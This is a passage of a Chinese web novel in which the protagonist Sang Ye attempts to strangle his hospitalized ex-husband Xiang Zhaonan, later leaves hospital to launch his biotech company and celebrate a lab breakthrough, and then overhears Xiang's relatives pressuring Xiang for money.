等钱余父子彻底消失在楼道,保卫才对着桑也说:“以后再有人来骚扰您,请务必立马按铃,我马上来处理,保证给您一个舒心的养病环境。” “至于那两个人,我会上报给保卫处,让他们以后进不来咱医院!” 桑也微笑着点了点头,让保卫回去了。 又对陪护说:“我出去散散心,你先回房间休息吧。” “我跟你去吧,我扶着你,免得摔着了。”陪护不太放心,这可事关她的工资。 但桑也坚持自己能走得平稳,还用不上搀扶,陪护才勉为其难答应,回到了隔壁房间。 看着陪护房间关上门,桑也抬腿,沿着楼道走去。 每个病房门上都贴着病人的姓名等基本信息。 桑也每走到一个门前,就停下看两眼。 有个护士给病人换了药,走出来,问桑也需不需要帮助。 桑也说他就是在病房闷坏了,出来走走。 护士跟他讲楼下的绿化做得不错,要是在病房待得无聊了,可以下楼去呼吸呼吸新鲜空气。 桑也含笑道了谢,护士脸上飘过一抹淡粉色,低着头跑开了。 又查看了两个房间的信息,终于找到了贴着“相召南”名字的房间。 他在门口站了一会,并没有听到里面有动静。 便握住门把手,旋转,推开了门。 病房透着一股冷气,混杂着血腥味,让人不禁联想起寒冷的冬天,屠夫手起刀落,牲畜喉口迸溅出冒着白气的热血,但很快凉了个彻底,只有那股子腥味经久不散。 成为屠夫的勋章。 空旷的房间,没有一丝生活起居的迹象,相召南躺在病床中间,头上包着纱布,露出来的脸色惨白,双目紧闭,眉心紧锁,似乎还因为疼痛或者其他噩梦般的事情痛苦不堪。 桑也关上门,走到床边,掀开床尾的被子,只见相召南两条腿都被厚重的石膏包裹着,右腿伤势最重,从大腿到脚踝,无一幸免。 他心如止水,缓缓伸出手,落在那左腿上,指甲刮了一下,像是轻柔地抚摸,爱怜的抚慰。 然而转变就发生在一瞬间。 桑也的棕色双眸骤然掠过一丝发狠的眸光,那双白皙的手蓦地用力一按—— 相召南的头微微动了一下。 但并没有多的动作。 石膏太厚了,痛不到他。 桑也心想。 他收回手,往前迈了两步。 因为身上有些隐隐作痛的擦伤,他走路的时候脚步没办法抬得太高,甚至只能拖着腿擦着地面走,因此脚上拖鞋不可避免地发出声响。 嚓。 嚓。 如同死神拖着镰刀在地面擦出火花。 桑也歪了歪头。 他伸出手,这次落点在相召南脖颈处。 因痛苦而绷起的颈部肌肉破坏了一个正常人的美感,突起的骨骼像是变了形,青筋虬起,动脉似乎在用力地跳动。 桑也缓缓用力,看着自己的手不断收拢,而相召南的面部表情越发狰狞,呼吸混乱,他心中餍足感如同春草蔓发,瞬间蔓延至整个山头。 三年过去,桑也变了很多。 从籍籍无名,到名满天下,从一无所成,到名利皆收,从一无所知、懵懵懂懂,到了如指掌、洞若观火。 ——唯独没有变得更健康。 施虐给他带来了前所未有的感受。 是不是只有相召南死了,他才能得到解脱? 然而时间是个很可怕的东西。 它会扭曲过往,消解痛楚,让人的记忆变得模糊,让痛苦变得轻飘飘。 最后让人回忆起来时,第一反应都是甜蜜的心动瞬间。 而不是灰暗的心死时刻。 当那颗橘子糖的味道在他口中炸开时,桑也便明白了这个隐形的罪魁祸首所在。 盛怒,气忿。 桑也占据了理智的高地,右手再次加重力道,甚至抬起右腿腿跪在床上,整个人向前倾,最后还加上了左手。 指甲嵌入肌肤,和之前的未消的痕迹重合。 他死死盯着相召南,眼前浮现出无数过往,明亮的镁光灯,喧哗的礼堂,发黄的照片。 或许。 等相召南死了,他会像爸爸把妈妈的骨灰盒放在卧室床头守着一样,把相召南的骨灰带回家。 …… 而被他盯着的相召南,面色从惨白转向青紫,紧闭的双唇无助地张开,以最原始的渴生欲望做出尝试。 然后,睁开了眼。 第66章 深深的眼窝蓄着一滩化不开的阴影, 浓墨色的瞳孔变成深邃的漩涡,让人晕眩,恍惚间要被吸了进去。 像沙山在地面震动下慢慢流向四方, 最后变成一块散沙, 桑也收紧的手一点点泄力, 最后魂魄被抽走般骤然失力跌坐在床边。 但他仍然保持着高傲, 没有流露出一点违法犯罪的慌张抑或是夺人性命的恐惧。 相召南泛白的薄唇动了动,似乎是使不出力气, 好一会都只能发出嘶赫这样没有意义的音节。 像卡顿的视频, 桑也的目光从相召南的脸,移向他脖颈处的红痕, 最后落在雪白的床单上, 一手撑在相召南腹部,借力从床上站了起来。 他似乎要走。 相召南有些急切了, 床被下的手动了动。 “你想要杀了我吗?”声音沙哑, 仿佛喉咙被砂纸打磨过。 一个个音节从他喉口挤出来,明明该是质问的语句,却诡异地透露出某种期待, 就像沙漏里的细沙从窄口中挤出来,能看见倒计时马上终止的结局。 似乎在说, 来吧, 动手吧, 我就在这里。 桑也转身的动作一顿。 他对上那双深黑的长眸, 隐约还能看见昨天它被鲜血填满的样子。 “你愿意吗?”他轻声问, 好像言外之意不是“你愿意被我杀死吗”,而是“你愿意和我在一起吗”。 而相召南也并未有任何反抗的意向。 他合上了双目。 桑也心脏跳动漏了一瞬间。 这简直太美妙了。 他径直探出了手,重新扣在那伤痕斑斑的脖颈。 一点点用力。 相召南默许的。 是相召南引诱的他。 一秒, 两秒…… 相召南稍稍好转的脸色再次变得青紫交加。 可是、可是—— 可是他太平静了。 没有表现出挣扎和抗拒,没有突然睁开眼直起身来将掐着桑也的脖子将他推开,更没有撕心裂肺的质问和心如死灰的哀怒。 他的表情太轻松了。 心甘情愿,甘之如饴。 太轻松了。 这仿佛是对他的奖励。 桑也喉咙里发出电影里丧尸般的笑声,然而只持续了短短的几秒钟,他脸上的神情变得痛苦,绝望。 “为什么?” “为什么不挣扎?为什么不起来,不说话,不大声喊出我的名字,不用冰冷的眼神看着我,震慑我?为什么不像个疯子一样嘶嚎怒叫把我掀翻在地?为什么,为什么……这样平静!” “你不恨我吗?不怨我吗?” 当相召南真的快要死了,桑也才意识到,死亡并不是终点。 他想要的不是相召南消失在这个世间,而是他再无和相召南发生连结的可能性。相召南活着,频频出现在他的眼前,而当他死了—— 当他死了! 当他死在自己的手中! 竟还可能会以那副虚伪的丑陋的深爱着的模样出现在他的梦境。 勾得那个在他身体里作祟的胆小鬼死灰复燃,心怀愧疚,对自己怀恨在心,最后日日夜夜消磨折损他的精神。 相召南的死去,不能解了他的心结,也不能让他重新成为过去那个敢爱敢恨、青春气盛的桑也。 既不能让只敢躲在他身体里的胆小鬼不再爱他,也不能让理性的客观的桑也不再惧他。 都是无用的! 如临深渊。 桑也又失败了。 目睹了一场惊心动魄但失败的谋杀的寒雀扑朔着翅膀,从光秃的树枝上飞走,似乎害怕下一个目标就是它。 桑也并没有长久地悔恨计谋失策,愤怒的神情转瞬即逝,他有了新的主意。 或许正常人不会有这么快的情绪转变,但很显然,他已经不属于正常人的范畴了。 桑也轻柔地触碰了下相召南的脸,粉白的指尖滑过那张丰神俊朗、引人爱慕的脸,蛊惑的声音随之流出: “相召南,我们演一出戏吧?” “演一出……”桑也想了想,似乎真的认为它可行,“演一出我入室杀人、你奋力反抗但无济于事最后以狰狞又恐惧的面目在我的手中被结束了生命的戏码,怎么样?” 相召南艰难地睁开眼,咳嗽了几声,低声道:“桑也,死在你手里,我不后悔,也不害怕。” 桑也转身就走。 “别走,别走,桑也……咳咳,求你了别走……”相召南咳得仿佛要把肝肺都咳出来,却还在呼唤着他的名字。 桑也还没有开门,门便开了。 带着白色护士帽的女性Alpha护士端着换药的托盘,冲他微微一笑,随后问:“咦,你怎么在这?” 桑也一愣,没想到第一次干坏事就险些被撞破,他有些无措,干巴巴立在那里,直到护士放下托盘,又问他:“来看望病人的?我知道你们是同一场事故进的医院,不过相先生伤得严重些。” “你现在感觉怎么样?要是不难受也没事的话,能再留一会吗?我给他换个药,可能比较痛,你跟他说说话,转移下注意力。” “反正你也是来看望病人的嘛。” 护士三言两语就把桑也的目的、计划安排好了。 桑也定定看着室内二人,最后倒了回去,从墙角抽过来一根椅子,放在床的另一边,坐下。 他身上穿着医院统一的病号服,虽然质量比普通病号服好一些,但总归来说不是什么大牌设计,没有优越的剪裁和精心的配色。 然而,就是这样一套普普通通的病号服,在他身上却呈现出了不一样的美感。 身材颀长,体态挺拔,背很薄,腿又直又长,宽大的病号服松松垮垮挂在他身上,彻底推翻了人靠衣装的定论。 “说什么?” 护士一边帮相召南拆头上的纱布,一边扭头看桑也,眼神里有些狐疑,“想说什么说什么。” 半晌,还是没有听见桑也说话。 护士彻底理不清这二人到底是什么情况了。 还以为是自己给的范畴太大,身后的人不明白,又缩减了下:“你最近见了什么人,做了什么事,都可以,再不然,听了什么歌,看了什么书,也行。” 桑也自动排除了前两个内容,他见了什么人,做了什么事,为什么要讲给相召南听? 至于听歌,他很少听歌,摇滚的太吵,抒情的太作,纯音乐太催眠,人声又太刺耳。 倒是书看得不少。 护士开始给相召南头上的伤口上药,棕褐色的药水刚一涂抹上去,相召南的脸便不受控制地拧了一下,护士便开始催桑也,你说话呀。 桑也想了想,开口:“以前看过一本书,里面有一句话,当时一直不太理解。我猜你应该没看过,毕竟你看书可是只看《存在与虚无》这种高深奥妙旁人难以理解的品类。不过我想你应该知道它是什么意思。” 似乎是回想了一下,短暂的停顿后,桑也的声音如同涓涓细流淌了出来。 “书里说,一杯水,你口渴的时候,觉得它珍贵如黄金,不口渴的时候,又觉得它寡淡无味。” “一束阳光,你冷的时候,觉得他暖洋洋的,不冷的时候,又觉得它燥热无比。”① 护士以为桑也在念什么人生鸡汤,听着听着还好奇地回头看了看他,却发现他手上没有拿着手机,更觉得好笑。 他难道还把鸡汤背了下来不成? 和护士偷笑的表情不一样的是,相召南面色沉重,眉目紧锁。 护士只以为是药水刺激引起剧痛,才让人呈现出这样的表情。 然而当身后说出下一句话,护士包扎的动作都吓得一抖,险些勒得更紧了。 她听见桑也说:“一个人,你爱的时候,想不离不弃,不爱的时候,又避之不及。” “水变了吗?阳光变了吗?是人变了。对与错,都在你一念之间。” “可相召南,世界不是围着你转的,是桑也在围着你转。” 护士连忙低头去看相召南的表情,只见他牙关用力,下颌肌肉紧绷,浑身止不住地微颤。 桑也娓娓道来的声音语气无比轻柔平缓,仿佛有某种魔力,完全可以胜任安抚情绪的重任。 然而看似和煦的内容摘下面具后却是无数把开刃的刀,以一字一句的模样,插进了相召南的心脏。 从桑也说出第一句话的时候,聪明如相召南,便已经明白了他想要说什么。 可他没有办法,只能看着听着任由桑也用爱怜的语气说出天底下最伤人的话语。 好比对着一个高考落榜的学生反复提起高考失误的过错,对着一个失去双腿的人问他腿怎么了。 而他。 错过一个满眼都是自己的桑也。 成了此生难以释怀的过去。 说完后,桑也没再逗留,直接离开了相召南的病房。 而病房内的护士,也松了一口气,还好走了,不然不知道还能说出什么让人想死的话。 至于接下来的换药,痛点就痛点吧,她是不敢再去找个人来帮相召南转移注意力了,万一又来个这样的,护士都不敢想。 …… 回到自己的病房时,凌星已经带着老大回来,问他:“你去哪了?” “出去散散心。” 桑也坐在床边,端起凌星给自己到的还没来得及喝的水,饮了大半杯。 “出去?”凌星想了想,“我没见到你啊。” 桑也把水杯递给他,让他再倒点,凌星熟练地满上,仍是盯着桑也。 知道瞒不住,桑也坦白:“去了相召南的病房。” 凌星瞪大了眼睛:“你去他病房干什么?除非你告诉我你是去暗杀的,否则我不接受任何其他理由。” 桑也淡定地点头。 凌星:? “去暗杀的。” “成了?” “没有。” 凌星撇了撇嘴,“没意思。”又问:“你们怎么会在一辆车上?还这么刚好地出了事故。” 桑也把来龙去脉跟他讲了。 凌星先是把陈家强一家人骂了个底朝天,又万分庆幸地感慨还好桑也没出事,否则他一定要陈家强好看。 还没等桑也问他要怎么让陈家强好看,凌星突然凑近了他的脸,颇为怀疑地问:“等下,你说,相召南救了你两次?” “嗯。” 凌星挤眉弄眼,难以置信。 “这很难以理解和接受吗?” 凌星反应比他还大:“这很容易理解和接受吗?” “相召南?他?他救了你,还救了两次?他那样的人会救你?这跟穿越星球科幻大电影有什么区别!” 桑也没说话。 心中却嗡鸣一声。 为什么他会默认相召南舍命救他是一件再正常不过的事情? 明明昨天事发后他还想问相召南为什么; 现在却能心安理得地认为这一切都理所当然。 握住水杯的手不自觉收拢。 像下雨天的关节痛。 第67章 桑也第五天的时候就出院了。 伤口没有完全大好, 但再住院下去也没有意义,不影响他工作就没问题。 老大上车的时候格外兴奋,据送行的护士说, 是因为这段时间老大一直在医院, 而医院总是弥漫着消毒水和各种药物的味道, 对嗅觉灵敏的犬类是一种折磨。 但是老大在桑也出院前从没有因气味刺鼻难闻表现出半点不适。 桑守安开着车, 桑也和老大坐在后座。 桑也抱着老大的脖子,搓了搓它毛乎乎的脸, 又把自己的脸送过去贴着。 他小声说:“谢谢。” 老大张着大嘴差点把桑也的脸包了进去, 逗得桑也咯咯笑。 海风府的物业这两天在处理干枯的落叶。 刚好到桑也家前。 桑守安先把车停在家门口,让桑也和老大下了车, 再把车开进地下车库。 等他走出来, 就发现老大竟然在一堆落叶中间跳大神似的跳着。 物业派了两名清洁工处理他家附近绿化中的落叶。 又小又平的草坪上,黄褐色的干树叶在手持式吹风机的工作下呼哧呼哧朝着一个方向聚集, 最后堆成小山般的树叶堆。 直到老大一个鱼跃扑了进去。 瞬间砸起无数树叶和灰尘。 两名清洁工挥挥手, 挡住口鼻,“这贪玩的。” “不好意思。”桑也没拉住老大,只好上前去道歉。 但两名清洁工显然并没有介意。 海风府的住户每到年关总会给他们物业和工作人员送一些高端的产品, 他们平时都不舍得买,现在却能免费拿, 只是耽误一会时间, 有什么可生气的? 他们摇头, 其中一个甚至还和老大玩了起来, 用吹风机吹起落叶, 一片巴掌大的落叶落在了老大的鼻子上。 只见老大圆溜溜的眼珠子紧盯着那片落叶,整只狗都僵住了。 然后,一个喷嚏。 树叶飞走了。 桑也低低地笑着。 “可以借我玩一下吗?” 清洁工二话不说递给他一个吹风机。 刚好桑守安走过来, 便自然地接过了另一个吹风机。 草坪上,两个人一前一后对着老大吹落叶,看老大蹦蹦跳跳,在没有蝴蝶的冬季扑着枯叶蝶。 等老大累得气喘吁吁了,二人才停手,带着依依不舍的老大回到了屋内。 “今天的遛狗kpi完成了。”桑守安指着一进门就摊在地上的老大。 桑也抿唇浅笑。 上楼梯时,腿有些抬不起,脚尖撞在了第一级台阶上,针扎般的痛感瞬间传遍全身。 桑也站了十几秒没有动,最后认真道:“不好意思。”才上了楼。 一月底的时候,新桑开了第一场发布会。 桑也进入会场,在第一排的位置落座。他一身纯白西服,在一众黑色、墨蓝色的正装中格外突出。 一束白光打在他身上,恍惚间只以为是他白得发亮。 桑守安走进来,在桑也身边坐下,突然眉头压低,抬手指着某个方向。 桑也留意到他神色变化,顺着手臂方向看去,是一个知名媒体的记者,不把摄像头对准台上的主持人,反而对着桑也。 大哥似乎有些介意。 但桑也并不在乎。 他有流量,能再利用那是再好不过,总好过便宜了别人。 于是压了压大哥的胳膊,示意那个正要收回摄像头的记者不必在意。 “哥,没事。” 桑守安知道桑也是怎么想的,他只是……桑守安叹息:“我只是不想有人长枪大炮对着你。” 桑也拍了拍他的肩,让他别放在心上。 发布会很成功,沈惟岸和另外几名高管轮流回答记者的提问,大家都不急不徐,从容应对,完全是大公司的做派。 快结束的时候,桑守安也上台致了辞。 熟悉的面目出现在台上,有不少记者开始低声讨论,关于这个曾经的房地产大亨。 桑也眉目含笑,发自内心。 发布会不是什么新鲜事,也不是他们此行的重点。 重点是,告诉全世界,我们可要开始了。 果不其然,发布会刚结束,桑家兄弟的手机双双来了电话。 “刚才来的消息,林肯主动联系金融部上缴了黑产,拍卖违约金他付。”州长告诉桑也。 当乔斯的名字出现在发布会上新桑合作伙伴的一栏,通过全球实时直播传到时刻关注着桑也的林肯眼中,就注定了他只能走这一步棋。 “有了林肯先生大义灭亲,想必州长先生日后的工作会顺利许多。” 挂断电话后,桑守安也从阳台下来,把手机往桌上一放,“之前劝我不要不自量力的生科协会,邀请我加入他们。” 桑也脸上笑意不变,“是吗,那正好让他们看看一个行业该有的样子。” 之前生科那寡头大老板邀请桑守安过去谈话,明摆着就是担心从房地产行业抽身出来的桑家会带着桑家、相氏两家的巨额资本强势占据生物医疗的大部分市场。 这个发布会,一方面是告诉他们,他们只做创新,不做低端的重复生产,另一方面也是让他们知晓,不管你们愿不愿意,我们都要开始了。 发布会结束后的记者纷纷围着公司的几位高管和比较外向的几个研究员提问,偶尔有摄像头扫过角落的桑家兄弟,也只短暂停留一瞬间。 太短暂了,距离太远了,灯光还很昏暗,摄像头似乎没有聚焦到桑也脸上,只能看见一个模糊的人影。 相召南有些烦闷。 这些记者难道不知道这群人里面谁最好看吗。 净怼着那些丑东西拍拍拍。 “直播结束了,相总,我帮你换台?” 陈晦给相召南递过去一个文件。 相召南腿受了重伤,暂时无法出院,但工作不能停,有些可以线上办公,就让相召南远程做了,有些实体文件需要相召南过目签字,就只能由陈晦每天从公司带来,等相召南签字或者打回去再送回公司。 原本一天只用一两个小时就能处理完的事情,今天同样的时间只完成了不到一半。 原因自然是电视机上那场直播,完全把相召南的注意力带走了。 “不换。”相召南接过文件,翻看了两眼,“放重播。” 陈晦脸僵了一下,他今天几点能下班? “好的,我马上放。” 皮笑肉不笑地用遥控器调出重播。 六十寸的电视机上突然出现了一张美不胜收的人脸,是桑也顺着桑守安的手臂方向看进了摄像头,懂事的记者立马旋转变焦环,放大了画面。 相召南定定地看着电视画面。 他只有躲在电视机后面,才能不被厌恶地用直白的眼神注视桑也。 电视画面变了,回到了台上。 相召南打开钢笔笔帽,在文件末尾签下自己的名字,把文件递还给陈晦。 “他……最近怎么样?” 陈晦不假思索:“桑先生最近过得挺好的。” 相召南沉默着。 陈晦继续讲:“他伤得不重,基本看不出来,出院没两天就恢复了工作,现在几乎每天都会去新桑处理工作。” “据说他人员很好。你知道的,我们公司很多人都……”陈晦觑了一眼相召南,“都挺怕你的。但是桑先生不一样,他和新桑的员工相处十分协调和睦。” 陈晦仔细观察着相召南的神情,见他还没有表现出异样的情绪,才接着讲下去: “每天,他从楼里出来,都能看见有人和他勾肩搭背,难舍难分。” 说到这里,陈晦没再说话了。 他看见相召南手中的新文件一角已经被他左手攥出了褶皱。 怕再说下去,被攥出褶皱的就是他的工资条了。 果不其然,房间安静了两秒后,相召南咬牙切齿的声音传出来: “谁让你天天跟踪调查他的?” 陈晦嘴角抽了抽,要不是知道你会问,我能去做这种事? “好,那我不继续关注了。”陈晦毕恭毕敬道。 因为是重播,知道什么时候会有桑也的镜头,什么时候没有,相召南工作的效率都变高了些。 不到一个小时,文件已经全部处理完。 似乎是带着怨气,今天着手处理的这批文件一大半都被打回去重写了。 陈晦带着文件离开,为自己的陌不相识的同事默哀两秒。 等陈晦的脚步声在楼道中消失,相召南缓缓揭开了压在身上的白色床被。 露出裹着固定器和膝踝支具的残疾双腿。 床边放着轮椅。 是桑也出院那天,护士敲门送进来的。 “隔壁的桑先生说是为了感谢你,给你加急定制的轮椅,听说价格不菲。” “哪位桑先生?” “病人那个大哥。” 不是为了感谢他。 是为了和他撇清关系。 相召南把轮椅推开,露出床边空地。 他全身上下的重量压在自己的双臂上,尽管那双臂上也伤痕累累。 然而当脚刚刚沾地,相召南整个人如同山体滑坡砸落在地上。 痛,痛彻心扉。 像有人拿着小锤子一点一点把他的腿骨敲碎。 相召南不承认自己站不起来,不愿意屈服。 再次用双臂撑着床边,忍着剧痛,然而还没松手,那股电击雷劈般钻进脑心的疼痛感瞬间传遍全身,让这个身形高大健硕的Alpha狼狈地跌倒在地。 发出巨大声响。 相召南握紧了双拳,浑身发抖,一拳砸在了废物般的腿骨上。 “你在干什么?!”听见声音的护士推门而入,不可置信地看着他,连忙跑过来把人扶起,“这才多长时间,组织都还没长好,你下什么地?复健都还早着!” 在护士的搀扶下,这个高大的Alpha终于坐回了轮椅。 见多了双腿残疾的人心如死灰要死要活,护士本来没打算说什么。 然而临走前回头看了一眼,看见他面无表情地坐在轮椅上,背部直挺,望向窗外的飞鸟,却浑身散发出一股浓烈的悲痛,令整个房间的温度都冷了许多。 于是关上门之前,说了句:“你的情况等时间到了自然能好,不会坐一辈子轮椅,别自暴自弃的。” 房门合上,咔哒一声。 相召南收回看着窗外的目光,只见电视机上发布会又结束了,此时摄像头正对着角落里低声说话的桑家兄弟,面色红润,似乎一切都在变好。 会场里窸窸窣窣的谈话声像风摇树叶响。 他怕。 他怕困在医院太久,桑也已经把他忘了。 连恨他,都不恨了。 第68章 实验的重大进展在除夕夜。 晚上十点。 实验室灯火通明。 新桑的其他员工早已放了假, 只有实验室里的人还在忙碌。 包括新桑自己的研究员和外援陆让简。 五天前,他们的实验突然有了进展,便开始了夜以继日的加班。 桑也知道后, 劝阻了他们两次, 身体为重。 但这些年轻人都有气性, 一个个都说不把这个胚体诱导分化成功, 他们这个年都过不好。 于是等公司其他员工陆续离开,桑也做起了实验室打杂的工作。 沈惟岸今天晚上来了公司一趟拿东西, 见他一直在实验室外面, 也走过来问了几句。 了解了情况后,他冲桑也竖了个大拇指, 表扬幼儿园小朋友般夸奖桑也:“桑总和我见过的别的领导都不一样。” “别的都讲究一个排场, 到工作一线都是去视察,你倒好, 来打杂了。” 不同的领导有不同的风格。在桑家, 在新桑,撑面子的显然是他大哥,那么桑也只用扮好平易近人的角色就行。 “我帮不上别的忙, 只能端茶送水嘘寒问暖一下了。”桑也给沈惟岸递了一杯热茶,“得让他们觉得自己的工作被人看在眼里嘛。” 沈惟岸喝了一口, “你就不怕他们被你看着太紧张太害怕?” 哪有员工乐意天天被领导盯着的? 桑也却抿唇笑了下, “你跟我在一块, 紧张吗?”又伸胳膊撞了撞沈惟岸, “害怕吗?” “也是, 桑总跟个小孩一样,哪有领导的气势。” 桑也知晓沈惟岸在打趣他,正要说话, 突然一阵寒风从半开的窗户缝里钻进来,从后颈钻到脊背处,桑也打了一个喷嚏。 “怎么不穿厚点?” “开了暖气的。”桑也解释,“只不过他们在里面研究做久了想要出来透透气,我就把窗子开了半扇。” 白天还好,晚上降温,夜深露重,一吹风就让人冷得直哆嗦。 沈惟岸不知道在想什么,沉默了一会,径直脱下了自己的大衣,披在桑也身上。 桑也正捧着自己的茶杯喝热水,等他放下杯子,衣服已经被沈惟岸披好,甚至知道他会推拒,还把手压在桑也的肩膀上。 “我马上就走,不是在车里就是到家了,用不着穿这么厚,你不知道还要待多久,先披着吧。” “好吧。”桑也也不推拒,把大衣往身前裹了裹,“我送你。” 停车库不远,没走两步就到了。 送完沈惟岸,桑也掉头回去之际,听见了外面有人在叫卖板栗。 “热乎乎的板栗——” 这个点已经没什么人,还在外面卖板栗。 桑也去看了看。 是一个六七十岁的老人,车上还有小半桶炒熟的热板栗,盖着白布,估计是白天炒多了,又怕明天不好卖,硬着头皮吹着寒风在这里接着卖。 桑也上去让老人把所有剩下的板栗给他装起来,老人有些激动,装板栗的手都有些抖。 “早点回家去吧,天太冷了。” “这单卖完就回去了,谢谢你啊孩子。”老人把板栗装在三个纸口袋里,又拿了个大塑料袋再套一层,递给桑也。 桑也付了钱,往回走。 板栗车哐啷啷地往另一个方向走。 回到研究所,刚好有个女性Beta出来透口气。 桑也举了举手上的板栗,就见Beta兴奋地朝他跑来。 “居然还有板栗吃,好感动呜呜呜!” 三个口袋里都放了不少开板栗的小工具,桑也一连开了十几个,递给Beta。 Beta一把鼻涕一把泪,往嘴里塞板栗。 “老大,呜呜呜,更感动了呜呜呜!” “现在进展如何了?我记得你们下午就说诱导成了。” “嗯嗯,还在做检验呢!马上就出结果了,也不知道检验出来可不可行,哎呸呸呸,肯定可行,怎么可能不行!” “太刺激了,我刚才录错了好几个数据,好在检查了一遍。”Beta心有余怕道。 桑也安慰她:“让你们好好休息你们不肯,你看,累到恍惚了吧?” “等出结果,我一定大睡特谁!”说着,Beta塞了一口板栗,拍拍手,又往实验室里走。 一直到十一点,实验室里爆发出一声巨大的欢呼。 砰的一声,实验室大门被撞开。 几个年轻点的实验员冲了出来狠狠抱住桑也。 知道他们激动,桑也只笑着让他们狂欢,听他们情绪高昂地讲自己有多紧张,有多担心,最后出结果又有多么兴奋。 什么长臂短臂,桑也听不懂,但知道他们的诱导成功了,并且检验出来具有可复制性,即使没有参与到具体的实验中,桑也也由衷地感到开心。 几乎是吵闹了十几分钟,房间内才安静下来。 桑也问他们要不要出去吃顿烧烤,他请客,研究员纷纷摆手,表示再熬下去真得猝死了。 “那老大,我们就先走啦!” 这些研究员大多刚毕业,住的房子是新桑统一安排的员工宿舍,只有少数几个年龄大些,有自己的住房。 三五成群往外走。 “明天得起个大早赶车。” “还好我家就在S市欸嘿!” “滚呐!” “新年快乐。”桑也冲他们挥手。 随后是此起彼伏的回应:“新年快乐!” 等他们走了,房间内就剩下桑也,以及陆让简。 陆让简面容憔悴。 他昨天在实验室熬到凌晨,今天早上五六点就被医院一个电话叫醒去临时做了台手术,手术后又马不停蹄赶往研究所,一直忙到现在。 “走吧陆医生,今天我给你当司机。” 桑也裹了裹衣服。 “麻烦了,我现在的状态确实不太方便开车。”陆让简揉了揉额角,“被抓了就是疲劳驾驶。” 除了陆让简不方便开车这个缘故,还有个桑也得送他回去的原因是他的车还在医院停着。 中午去接陆让简,结果坐的是陆让简的车过来,现在他不想送也得送了。 陆让简家就在医院附近,桑也帮他把车停好,目送人进了单元楼,便自己步行到医院,换自己的车。 “桑也……桑先生?”刚进医院门口,一位护士盯着他看了两眼,突然跑过来,“桑先生,楼上相先生病房里来了两个人在闹事,我听到他们谈到了你……你要不上去看看情况?” 桑也蹙了下眉,他来医院只是想把自己的车开走,没打算见相召南。 “……顺便劝阻一下那两个人,我听他们说是相先生的亲人。”护士一脸为难,“这大过年的,也不知道怎么就吵起来了……” 不知道是不是被护士这一句“大过年的”触动了,桑也原本想要掉头就走的想法瑟缩了一下,最后渐渐消融。 风吹过来,桑也浓密的睫羽颤了颤。 如果不是因为救他伤了腿,也不至于被人堵在病房里跑都跑不掉。 好吧。 既然提到了他,那就看看到底谈了他什么。 桑也点头。 护士指着里面,说:“在vip病房楼,109。” 桑也说了声好,便往里面走去,而护士则是接着往保卫处跑过去,隐约能听见护士跟保卫处的说里面需要帮忙。 可能是因为相召南的腿伤需要坐轮椅,把他的病房调到了一楼来。 桑也进楼,一眼就看见了病房外站着的一个保卫。 走近,没有推开半掩的房门,轻声问了句:“里面怎么了?” 保卫叹了口气,也低声说:“刚才病人的妈和舅舅闯进来,也不知道说了什么,把病人惹生气了,要我把他们赶出去。” “但是……人家亲妈亲舅,我一进去就拿贵得要死的包往我身上砸,要我别多管闲事,我这,唉。” 桑也垂眸思索了一下,大概率又是要钱的事。 他朝保卫挥了挥手,示意他可以回去休息着,这里他来处理。 保卫走了之后,桑也附耳到房门,里面的声音变得愈发清晰。 “我听说了,相氏上周刚谈下来一个项目,每年营收少说也是百来个亿,那钱留在相氏也是让相渡南捡了便宜,你不如就拿出来让你舅舅再试一下。” 似乎是刚发生了一场激烈的辩驳,林晓燕的声音还有些嘶哑,但强压着语气,好声好气地讲。 紧接着是相召南的声音。 “再试一下?” 一声冷哼。 “从十几岁开始,我每年接黑活挣的钱哪回不是全部给了你们?接手相氏之后,每年给你们投的钱难道又在少数?要是走正常流程,就林俊那个破烂摊子,绝无可能从相氏那里拿到钱。” “结果呢,年年投,年年败光。还得寸进尺,少了不够,得要大头。”相召南语气里满是蔑视,“他就没有经商头脑,十几年了,还没看清现实吗。” “他怎么就没有经商头脑了,你怎么说……”林晓燕一听相召南说她弟弟不行,立马就急了。 “他要是有点脑子,也说不出要我拿明年的收益预支给他这种蠢话。”相召南长眸微眯,转向林俊,果然见他咽了咽口水。 林晓燕说“听说”,无非就是听林俊说。 林晓燕一时哑然。 相召南乘胜追击。 “桑也以前从未接触过经商,出国后只花了三年的时间从籍籍无名到风生水起,而他呢?” “花了十几年,从一年败几百万,到一年败几个亿,还没闹够吗。” 这话林晓燕和林俊都反驳不了,互相看了一眼。 林晓燕有些急了,伸手就要去抓相召南,“你真是长大了胆子肥了,一口一个林俊,他是你舅舅!” “你不想认也得认,我们是你唯二的亲人!不认我们,难道你想认你那个同父异母的弟弟不成?” 相召南坐在轮椅上,搭在扶手上的右手骤然用力,青筋突起。 “你还好意思说?”声音从齿缝中挤出来,“要不是林俊那年把外公的遗产都败光了又不敢认,外婆会那么早撒手人寰吗?” 林晓燕张牙舞爪的动作瞬间收敛了,心虚地嘀咕:“你外公从小疼他,花点钱又怎么了。” 这话无理到相召南冷笑一声。 倒是林俊拉住林晓燕。 他惯会打圆场,当和事佬,明明事情是他挑起的,却每次都表现得好像是被迫的,一大把年纪了还这么爱演。 相召南看得一清二楚。 只不过这次有些不一样,林俊没有拉着林晓燕说什么别生气,侄儿想想就明白了这类话,反而是意味深长地压低了声音: “姐,要不算了吧?侄儿对我怨气大,我也清楚,咱就不麻烦侄儿了。” “那怎么行……” “姐你别急,侄儿不肯帮忙,桑家呢,我听说我前侄媳妇今年回了国,他心善,总愿意帮忙的吧?” 林晓燕皱眉,有些不解,之前二人还没有离婚的时候,他们让桑也帮忙,都没见他帮忙说话,这会离了婚,怎么可能掺和进来? “你听我分析,之前孙凤那崽子举报我,害得我进了局子,不就是桑家帮忙捞出来的吗?他们一家都是好人!” 林俊这话的逻辑是桑家兄弟心地善良,肯定会帮他,帮他劝相召南或者是帮他融资。 当然这都不重要。 因为他真正的目的并不是找桑家帮忙。 要真是如此,就不会在相召南眼皮子底下用不大不小刚好能让人听见的音量“密谋”了。 他的目的是让相召南知道他们随时能联系上桑家兄弟,尤其是桑也。 就他们这段时间对相召南的观察,这人对桑也还余情未了,肯定不能接受他们这个麻烦找上桑也败坏自己名声拖了自己后腿。 就能刺激得相召南自掏腰包拿钱给他“创业”。 然而当林俊自己为计谋定能得逞,暗喜地转头看向轮椅上的相召南。 却发现他浑身微颤着,臂膊的肌肉绷得仿佛要冲出病号服,双目闪着挣扎的眸光。 从牙关里挤出几个字: “你说,当年是孙凤举报的你?” “不是……” 艰难,阻涩,干巴巴的。 “不是桑守安……?” 桑也心底一沉,推开了门。 